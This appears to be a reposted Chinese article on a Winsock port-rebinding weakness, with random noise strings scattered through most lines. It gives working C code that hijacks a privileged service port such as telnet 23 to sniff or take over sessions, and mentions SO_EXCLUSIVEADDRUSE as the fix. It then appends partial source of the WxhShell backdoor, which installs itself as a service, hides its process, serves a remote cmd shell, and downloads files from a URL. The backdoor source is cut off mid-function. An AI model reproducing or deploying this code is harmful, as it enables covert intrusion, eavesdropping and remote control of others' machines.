在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p,#**g: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Za1VJ5- R6G%_,p$7 saddr.sin_family = AF_INET;
})ic@ Mmd$ X(K5>L> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+*$@ K'VL `,FvYA" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
X!0m, j}$Q`7-wB1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
" G0HsXi B,ZLX/c9
这意味着什么?意味着可以进行如下的攻击:
Qx[
nR/ Jgf=yri 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@jH8x!5u: =tfS@o/n 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
q,_ 1?A) hjY)W; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7Ust7% 9vz"rHV 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
J"]P"`/ 2sXX0kq~V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ik|iAWy dK?vg@|' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8{J{)gF v8o{3wJ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h8tKYm -<WQ>mrB& #include
!3#*hL1fy #include
M\ {W &o1! #include
bZ*J]1y(. #include
BF>3CW7 DWORD WINAPI ClientThread(LPVOID lpParam);
66l$}+|Zzc int main()
<eG8xC {
,Q8)r0 c WORD wVersionRequested;
7tr;adjs DWORD ret;
w6[uM%fHG WSADATA wsaData;
QC*>
qo BOOL val;
Wo+'j $k SOCKADDR_IN saddr;
!FVXNl SOCKADDR_IN scaddr;
N!&$fhY) int err;
6?v)Hb}J%d SOCKET s;
<kr%ylhIu SOCKET sc;
@SV.F int caddsize;
Q+UqLass HANDLE mt;
J 4E G DWORD tid;
wx|eO[14 wVersionRequested = MAKEWORD( 2, 2 );
LE:nmo err = WSAStartup( wVersionRequested, &wsaData );
]Kb3'je if ( err != 0 ) {
?`%)3gx| printf("error!WSAStartup failed!\n");
RvT>{G~ return -1;
P9aGDma }
T};fy+iq saddr.sin_family = AF_INET;
OK}+:Y } 1> i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
w1+xlM,,9 O67.DEu^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
mw1|>*X&R saddr.sin_port = htons(23);
Wl:vO^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ta-kqt!' {
|-c)OS3#D printf("error!socket failed!\n");
> ^b6\ return -1;
x;cjl6Acm }
U`es
n?m! val = TRUE;
QDg\GA8| //SO_REUSEADDR选项就是可以实现端口重绑定的
d?)C} 2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'K=n}}&: {
)o<rU[oD]C printf("error!setsockopt failed!\n");
)h0F'MzW return -1;
b=!G3wVw< }
A7!=`yA$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
8%s_~Yc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-$#' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
!dVth)UV D<zgs2Ex if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#
4AyA$t {
P%v7(bqL4+ ret=GetLastError();
u:Q_XXT5 printf("error!bind failed!\n");
> !thxG/_ return -1;
|5
sI=?p&t }
_
FcfNF listen(s,2);
Htseu`>_$ while(1)
%G& Zm$u= {
.6yC' 3~;o caddsize = sizeof(scaddr);
]e?cKC\"e //接受连接请求
er Cl@sq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
G!J{$0. if(sc!=INVALID_SOCKET)
URq{#,~CT {
+SGM3tY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
iol.RszlZ| if(mt==NULL)
t0*JinKI {
IiG~l+V~ printf("Thread Creat Failed!\n");
$0C1';=^} break;
,4hQ#x }
ho#]i$b}f2 }
n%lY7.z8d CloseHandle(mt);
Zs
_Jn }
Tti]H9g_ closesocket(s);
=6Dz<Lq WSACleanup();
hfpSxL return 0;
:^+ aJ] }
s)dN.'5/ DWORD WINAPI ClientThread(LPVOID lpParam)
sGjYL>* {
W8:?y*6 SOCKET ss = (SOCKET)lpParam;
9IgozYj SOCKET sc;
Omkl|l9 unsigned char buf[4096];
(^-i[aJY SOCKADDR_IN saddr;
&h.E
B long num;
kK2x';21 DWORD val;
zfDxc3e
DWORD ret;
yjUSM}$ //如果是隐藏端口应用的话,可以在此处加一些判断
+;7Rz_.6f //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Fv \yhR saddr.sin_family = AF_INET;
yk1syN_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
0?3Ztdlb saddr.sin_port = htons(23);
xy>~1 5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R8a4F^{* {
kH
Y printf("error!socket failed!\n");
*Z"9Q X return -1;
&D,gKT~ }
<^?64 val = 100;
HCHZB*r[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;h>s=D,r {
'ojI_%9< ret = GetLastError();
CN6@g^)P return -1;
E5.3wOE }
trL:qD+{( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@N?A0S/ {
o:u *E ret = GetLastError();
5#+G7 'k return -1;
` z<k7ig }
pj. }VF!d if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
m\~{l=jIS {
e*w2u<HP printf("error!socket connect failed!\n");
j_ dCy closesocket(sc);
n:cre}0. closesocket(ss);
oTj9 /r return -1;
a= *&OW }
F+r3~T% while(1)
4:Adn?" {
%k(V 2]WF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
fI@4 v\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
Bi?+e~R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9mW95YI S num = recv(ss,buf,4096,0);
$OK}jSH*v) if(num>0)
B.nq3;Y send(sc,buf,num,0);
;C,D1_20Z else if(num==0)
?k)(~Y&@p break;
iXpLcHi num = recv(sc,buf,4096,0);
Z)B5g> if(num>0)
U JO send(ss,buf,num,0);
"|&xUWJ!) else if(num==0)
uXPvl5(Y? break;
4$D:<8B }
dZ'hTzw~ closesocket(ss);
r:u, closesocket(sc);
,&$w*D% return 0 ;
S EdNH.|I }
L7i^?40 NsYeg&>` sr(f9Vl ==========================================================
@&!HMl Wt2+D{@8 下边附上一个代码,,WXhSHELL
9
z_9yT -xi]~svg ==========================================================
k[3J5 4`g1 ki`7S #include "stdafx.h"
?rqU&my S -'
7I|r #include <stdio.h>
ooa>~!91P #include <string.h>
B=K&+ #include <windows.h>
67zCil #include <winsock2.h>
RM2<%$ #include <winsvc.h>
Z6G>j #include <urlmon.h>
~x`BV+R !
Ff/RRo #pragma comment (lib, "Ws2_32.lib")
kI5`[\ #pragma comment (lib, "urlmon.lib")
W|S{v7[l G2Zr(b') #define MAX_USER 100 // 最大客户端连接数
'5j$wr zt #define BUF_SOCK 200 // sock buffer
>gNVL
( #define KEY_BUFF 255 // 输入 buffer
-:w+`x?XaB rOC2 S(m #define REBOOT 0 // 重启
_G]f
v' #define SHUTDOWN 1 // 关机
<4!SQgL E;7vGGf] #define DEF_PORT 5000 // 监听端口
go^?F-
dZ *T(z4RVg #define REG_LEN 16 // 注册表键长度
=m{]Xep #define SVC_LEN 80 // NT服务名长度
7;H!F!K] wGfU@!m // 从dll定义API
no_(J>p^& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|y+<|fb,a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
WVPnyVDc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.6I*=qv)NA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\bJ,8J1C X.)caF^j // wxhshell配置信息
,A`.u \f(: struct WSCFG {
P{qi>FJqe int ws_port; // 监听端口
(<RZZ{m char ws_passstr[REG_LEN]; // 口令
3R!?r^h int ws_autoins; // 安装标记, 1=yes 0=no
vMBF7Jfx char ws_regname[REG_LEN]; // 注册表键名
vb 2mY char ws_svcname[REG_LEN]; // 服务名
ZMs$C3 char ws_svcdisp[SVC_LEN]; // 服务显示名
7aAT char ws_svcdesc[SVC_LEN]; // 服务描述信息
hdZ{8 rP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
o#wDA0T int ws_downexe; // 下载执行标记, 1=yes 0=no
# fvt:iE char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:{z a[, char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Q2wEt
>0a y%* hHnGd };
*_Y{wNF* dW
hU
o\>= // default Wxhshell configuration
j*uc$hC" struct WSCFG wscfg={DEF_PORT,
>s3H_X3F "xuhuanlingzhe",
}A@op+0E 1,
.L;M-`^ "Wxhshell",
l;TWs_N "Wxhshell",
6.X| .N "WxhShell Service",
!/pE6)a "Wrsky Windows CmdShell Service",
;0j 8Xj "Please Input Your Password: ",
a`]Dmw8@ 1,
')ZM#
:G "
http://www.wrsky.com/wxhshell.exe",
>z&|<H% "Wxhshell.exe"
S.,om;` };
N_AAh D (8bo"{zI // 消息定义模块
1A>>#M=A char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1Yj ^N"= char *msg_ws_prompt="\n\r? for help\n\r#>";
qo2/? ]
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
eBw6k09C+ char *msg_ws_ext="\n\rExit.";
~`7L\'fs char *msg_ws_end="\n\rQuit.";
}bwH(OOS char *msg_ws_boot="\n\rReboot...";
}=) char *msg_ws_poff="\n\rShutdown...";
+k@$C,A char *msg_ws_down="\n\rSave to ";
lPA:aHcj 9
U6cM-p? char *msg_ws_err="\n\rErr!";
!3]}3jZ. char *msg_ws_ok="\n\rOK!";
dEz7 @T v;!f char ExeFile[MAX_PATH];
y[ikpp#ozY int nUser = 0;
\EP<r HANDLE handles[MAX_USER];
K x7'm1 int OsIsNt;
^pAgo B #dcf Q SERVICE_STATUS serviceStatus;
J<[Hw g SERVICE_STATUS_HANDLE hServiceStatusHandle;
-Xm/sq(i)% v.wHj@ // 函数声明
7 (}gs?&w int Install(void);
_*(n2'2B int Uninstall(void);
'IR2H{Q int DownloadFile(char *sURL, SOCKET wsh);
n*7Ytz3#' int Boot(int flag);
+YS0yTWeX void HideProc(void);
^
+e5 M1U= int GetOsVer(void);
I/F3%'O int Wxhshell(SOCKET wsl);
uif1)y`Q$C void TalkWithClient(void *cs);
=D 1%-ym int CmdShell(SOCKET sock);
)U>JFgpIW int StartFromService(void);
Ucj
eB int StartWxhshell(LPSTR lpCmdLine);
l]pHj4`uv _z`g@[m:t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JIw=Bs VOID WINAPI NTServiceHandler( DWORD fdwControl );
,U-aZ ;cye
'E // 数据结构和表定义
v61'fQ1Qg! SERVICE_TABLE_ENTRY DispatchTable[] =
q6xm#Fd'. {
3_AVJv
;N {wscfg.ws_svcname, NTServiceMain},
d&z^u.SY {NULL, NULL}
DOk(5gR };
_]g?3Gw7! ]KsL(4PY // 自我安装
}]i re2j8 int Install(void)
Sdk:-Zuv {
3&'u7e char svExeFile[MAX_PATH];
STfcx]L HKEY key;
_{d0Nm strcpy(svExeFile,ExeFile);
v5aHe_?lp x*p>l ! // 如果是win9x系统,修改注册表设为自启动
x)+3SdH if(!OsIsNt) {
]VarO' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4 w$f- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y":Y$v,P RegCloseKey(key);
x<mHTh:-V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1Wz -Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Rn"Raq7Cn* RegCloseKey(key);
s]D&): return 0;
-!p +^wC }
W,\LdQ }
QX1rnVzg0 }
dI[hQxU else {
, [V#o-Z %xa.{`}`U // 如果是NT以上系统,安装为系统服务
G;^}, %< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
XOk0_[ if (schSCManager!=0)
YlF<S49loC {
YPq4VX, SC_HANDLE schService = CreateService
O.ce"5Y^ (
BqF%2{ schSCManager,
5x([fG wscfg.ws_svcname,
F4Jc7k2 wscfg.ws_svcdisp,
x4r=ENO)q SERVICE_ALL_ACCESS,
zvzS$Gpe SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$]{20" SERVICE_AUTO_START,
&zGf`Zi6*% SERVICE_ERROR_NORMAL,
A,P_| svExeFile,
dZMOgZ.!yr NULL,
fR:BF47 NULL,
_ct18nh9 NULL,
oNkASAd NULL,
V>8)1)dF NULL
"kYzgi );
1;e"3x" if (schService!=0)
.<0s?Q {
@xO?SjH CloseServiceHandle(schService);
G`a,(<kT; CloseServiceHandle(schSCManager);
9;fyC= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7W{xK'|] strcat(svExeFile,wscfg.ws_svcname);
3 &aBU[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
T7wy{; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Lc0U-!{G RegCloseKey(key);
[<2#C#P:6 return 0;
,-4SVj8$P }
?PMF]ah }
S:\a&+og CloseServiceHandle(schSCManager);
k|O?qE1hP }
pl-2O $ }
U c6]]Bbc 5tSR2gG#K, return 1;
7tEK&+H` }
y<53xZi c@+ ;4Iz // 自我卸载
# 1S*}Q<k int Uninstall(void)
DE0gd
ux8 {
xh7[{n[; HKEY key;
NI@$" +c8cyx:^f if(!OsIsNt) {
9JG9;[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jJX-S RegDeleteValue(key,wscfg.ws_regname);
Sxj _gn RegCloseKey(key);
e)(m0m\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gwf*M3( RegDeleteValue(key,wscfg.ws_regname);
1X5*V!u RegCloseKey(key);
l> Mth+,b return 0;
(Wj2%*NT }
m]Sv>| }
R5y+bMZ }
v(ATbY75 else {
GN7\p) FMuakCic5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^/)!)=? if (schSCManager!=0)
l7.W2mg {
Eyv|~D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&TpzJcd" if (schService!=0)
K2W$I H:. {
=:|fN3nJ2 if(DeleteService(schService)!=0) {
!hBzT7CO CloseServiceHandle(schService);
d%"?^e CloseServiceHandle(schSCManager);
:;wb{q$O return 0;
!Q`vOVSUD }
z_Nw%V4kr CloseServiceHandle(schService);
3#IU^6l:1S }
^kS44pr\Q CloseServiceHandle(schSCManager);
R)%1GG4 }
yf2I%\p} }
5i 6*$#OM_ *jBn
^ return 1;
g _2m["6* }
)2U#<v^ @iW^OVpp<8 // 从指定url下载文件
'G.^g}N1 int DownloadFile(char *sURL, SOCKET wsh)
NXwlRMbo {
QO'=O}e HRESULT hr;
|bHId!d char seps[]= "/";
v4:g*MD?~ char *token;
Ww{|:>j char *file;
L5"|RI} char myURL[MAX_PATH];
Is87
9_Z char myFILE[MAX_PATH];
:+Pl~X"_ :6^8Q,C1@ strcpy(myURL,sURL);
hhS]wM?B token=strtok(myURL,seps);
\F|L y >g while(token!=NULL)
AYC22( {
!kPZuU`T file=token;
N+<`Er token=strtok(NULL,seps);
^'g1? F$_ }
QQd%V#M? *@M7J GetCurrentDirectory(MAX_PATH,myFILE);
SqiLp!Y` strcat(myFILE, "\\");
K?y!zy strcat(myFILE, file);
wbC'SOM send(wsh,myFILE,strlen(myFILE),0);
%cWy0:F5VY send(wsh,"...",3,0);
qJ;T$W=NG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
w
Wx,}= if(hr==S_OK)
P5:X7[ return 0;
`OY_v=} else
7[V6@K!Al[ return 1;
B{D!5{t 2Z ?
N }
dMA"% R ~}SOd<n)| // 系统电源模块
UUxDW3K int Boot(int flag)
..ig jc#UF {
N"i'[!H% HANDLE hToken;
.js@F/Hp TOKEN_PRIVILEGES tkp;
Iw?M>'l +sTZ)
5vQ if(OsIsNt) {
nly`\0C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
u6~|].j R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
u}Q@u!~e9 tkp.PrivilegeCount = 1;
K1P3
FfG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
uW.)(l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
nDR)UR if(flag==REBOOT) {
] -6=+\]
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
qR
WWG& return 0;
lgxG:zAC
}
S?Y,sl+A: else {
~%6GF57gC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Q%xvS,oI return 0;
$/sQatic }
"}"Bvp^ }
TP6iSF else {
k$V.hG|6M if(flag==REBOOT) {
&ZjQa.-U> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
pg}9baW? return 0;
H8>u: }
EDm,Y else {
=R M=@X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&^HqbLz return 0;
D4:c)} }
}&Eb {' }
))M; .b.D Pkr0|bs* return 1;
1|za>N6[yu }
_T\~AwVc< I2@pkVv3z // win9x进程隐藏模块
o{EWNkmj void HideProc(void)
MP Ma {
e ;4y5i =] R_6# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"z
`&xB if ( hKernel != NULL )
9zj^\-FA_l {
C+B`A9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&yKUf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
w[>/(R7im FreeLibrary(hKernel);
{+V1>6 }
3{mu 77 =O
qw`jw return;
1/t}>>,M }
J%?'Q{ M<3P // 获取操作系统版本
^cYm.EHI int GetOsVer(void)
~E2xIhV {
giy4< OSVERSIONINFO winfo;
[u_-x3` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
fP41B GetVersionEx(&winfo);
ZJotg*I if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8ODrW!o return 1;
mWUo:(U else
zt 1Pu
/e return 0;
O87Ptr8 }
c
k= mQQ5>0^m // 客户端句柄模块
QdM&M^ int Wxhshell(SOCKET wsl)
pN+lC[C {
/aepE~T SOCKET wsh;
l<7)uO^8 struct sockaddr_in client;
tUXq!r<'dT DWORD myID;
7`^]:t U>^u!1X while(nUser<MAX_USER)
N?d4Pu1m {
kRBPl99 int nSize=sizeof(client);
nw3CI&Y` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[XA
f=x if(wsh==INVALID_SOCKET) return 1;
tqY) kLKd
O0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ni#!Gxw if(handles[nUser]==0)
z}'*zB> closesocket(wsh);
ER:)Fk>_ else
4Fr0/="H nUser++;
&e\A v.n@- }
$7{V+> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{1^9* u$c)B<.UR return 0;
s)q;{wz }
W&[}-E8<Y {`0GAW)q // 关闭 socket
Ly?yWS-x void CloseIt(SOCKET wsh)
/? n 9c;w {
@0`Q closesocket(wsh);
lZTD>$ nUser--;
wL]7d3t ExitThread(0);
n<;TBK }
sF?N vp .7-Yu1{2 // 客户端请求句柄
f
Q.ea#xh^ void TalkWithClient(void *cs)
cGw* edgp6 {
v%|()Z0 2nOoG/6
E SOCKET wsh=(SOCKET)cs;
K
(yuL[p` char pwd[SVC_LEN];
0:^L>MO char cmd[KEY_BUFF];
> m GO08X char chr[1];
xN\PQ,J int i,j;
iw|6w,-)C pQaP9Y{OK while (nUser < MAX_USER) {
i)V-q9\ PgZ~of& if(wscfg.ws_passstr) {
jV^Dj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%?lPS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Hh=D:kE //ZeroMemory(pwd,KEY_BUFF);
QE7
r{ i=0;
>= Hcw while(i<SVC_LEN) {
36D-J)-Z ;|v6^2H" // 设置超时
]*+ozAG4 fd_set FdRead;
rIz"_r struct timeval TimeOut;
zmI?p4, FD_ZERO(&FdRead);
C%<[mM FD_SET(wsh,&FdRead);
!*wK4UcX" TimeOut.tv_sec=8;
iG*3S) TimeOut.tv_usec=0;
S5ofe]tS@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
KOWx P47b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
O$B]#]L+ X]q,A5g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
aTC7 H]e pwd
=chr[0]; 6=]%Y
if(chr[0]==0xd || chr[0]==0xa) { !7SZZz
pwd=0; ,[IN9W
break; SE+K"faKQ
} :0Nd4hA
i++; \M/XM6:UG4
} vv,OBL~{
0(VQwGC[
// 如果是非法用户,关闭 socket *7hr3x
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UA3%I8gu_
} DoA4#+RU
vs|>U-Mpw~
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2~+Iu+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?6@Y"5
z3g
e[}R1/!L
while(1) { ,R$n I*mf_
F|X-|Co
ZeroMemory(cmd,KEY_BUFF); }5^j08
j'i-XIs
// 自动支持客户端 telnet标准 sbOa]
5]
j=0; [#H$@g|CT
while(j<KEY_BUFF) { +x$;T*0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HUurDgRi]
cmd[j]=chr[0]; @Nb&f<+gi
if(chr[0]==0xa || chr[0]==0xd) { emb~l{K $
cmd[j]=0; 2E/#fX9!4
break; $~4ZuV%
} Nko;I?Fn
j++; 8}m]XO
} GE=#8-@g~p
^I9x@t
// 下载文件 P-ma~g>I
if(strstr(cmd,"http://")) { :NHh`@0F
send(wsh,msg_ws_down,strlen(msg_ws_down),0); '3eP<earRP
if(DownloadFile(cmd,wsh)) MId\dFu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u2'xM0nQ
else >4=sEj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <2w@5qL
} BvpGP
else { ymybj
e-f_#!bW
switch(cmd[0]) { Gk2\B]{
0Ph,E
// 帮助 4O[T:9mn0
case '?': { PL<q|y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *nD yB.(
break; f+Nq?GvwBQ
} CDei+ q
// 安装 iUqL /
case 'i': { >:5/V0;,
if(Install()) ]t]s/;9]K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N. 3
x[%:
else z (r Q6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YD$fN"}-
break; ;7&RmIXKh'
} ~^=QBwDW8N
// 卸载 4`)B@<
case 'r': { t)XNS!6#]?
if(Uninstall()) ?f[#O&#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D52ELr7
else swuW6p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ro7\}O:I
break; oUR'gc :
} ? e%Pvy<i
// 显示 wxhshell 所在路径 qR!SwG44+
case 'p': { % w 6fB
char svExeFile[MAX_PATH]; Ph2jj,K
strcpy(svExeFile,"\n\r"); k2N[B(&4J
strcat(svExeFile,ExeFile); 5>4<_-Tm
send(wsh,svExeFile,strlen(svExeFile),0); HC}vO0X4
break; }A+ncabm
} Ovc9x\N
// 重启 ^utOVi
case 'b': { zt:
!hM/Vt
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZT@=d$Z&t
if(Boot(REBOOT)) |,@D<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MOK}:^bSu
else { O-HS)g$2
closesocket(wsh); u.|%@
ExitThread(0); \wD/TLS}
} CV\^gTPmx
break; 26g]_Igq
} (_|*&au J
// 关机 haBmwq(f
case 'd': { ,|d9lK`" P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5\# F5s}
if(Boot(SHUTDOWN)) %SOXw8-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r@}`Sw]@
else { b6
%m*~
closesocket(wsh);
NdRcA
ExitThread(0); _,!0_\+i
} e2v`
break; {daX?N|V
} #%Bt!#
// 获取shell Et!J*{s
case 's': { &n;*'M
CmdShell(wsh); {QM rgyQE
closesocket(wsh); EP#2it]0]
ExitThread(0); 2=- .@,6
break; ttUK~%wSx
} t*9 gusmG
// 退出 I)V=$r{
case 'x': { g%l ,a3"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'o6}g p)
CloseIt(wsh); 7H)$NG<U$
break; ,eBC]4)B6
} pe
vXixl
// 离开 {o5|(^l
case 'q': { k7Bh[ ..!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )`rD]0ua;
closesocket(wsh); Ny2
Z
<TW
WSACleanup(); _i {Y0d+
exit(1); zawu(3?~)5
break; Rpg g
:
} !nSa4U,$w<
} V. &F%(L
} /Ne#{*z)hO
GZ~Tl0U
// 提示信息 `=H*4I-"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sko7,&
} ,)Q-o2(C
} P !i_?M
;Y\LsmZ;F
return; "G
[Nb:,CR
} wHbkF#[:i
wx*?@f>u^
// shell模块句柄 Q"dq_8\`U
int CmdShell(SOCKET sock) It[51NMal
{ gZ4'
w`4r
STARTUPINFO si; sNDo@u7
ZeroMemory(&si,sizeof(si)); 5P\>$N1p
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w\acgQ^%e
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s{@R|5
PROCESS_INFORMATION ProcessInfo; G<e+sDQ2
char cmdline[]="cmd"; y017
B<Ou
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6?F88;L
return 0; &N^~=y^`C'
} 3_)I&RM
oj djy#:
// 自身启动模式 A,.X
int StartFromService(void) = g{I`u
{ %PYO9:n
typedef struct :s_>y_=g
{ K>DN6{hnV;
DWORD ExitStatus; Cq!eAc
DWORD PebBaseAddress; FE\E%_K'n7
DWORD AffinityMask; GK}52,NM
DWORD BasePriority; M!J7Vj?Ps
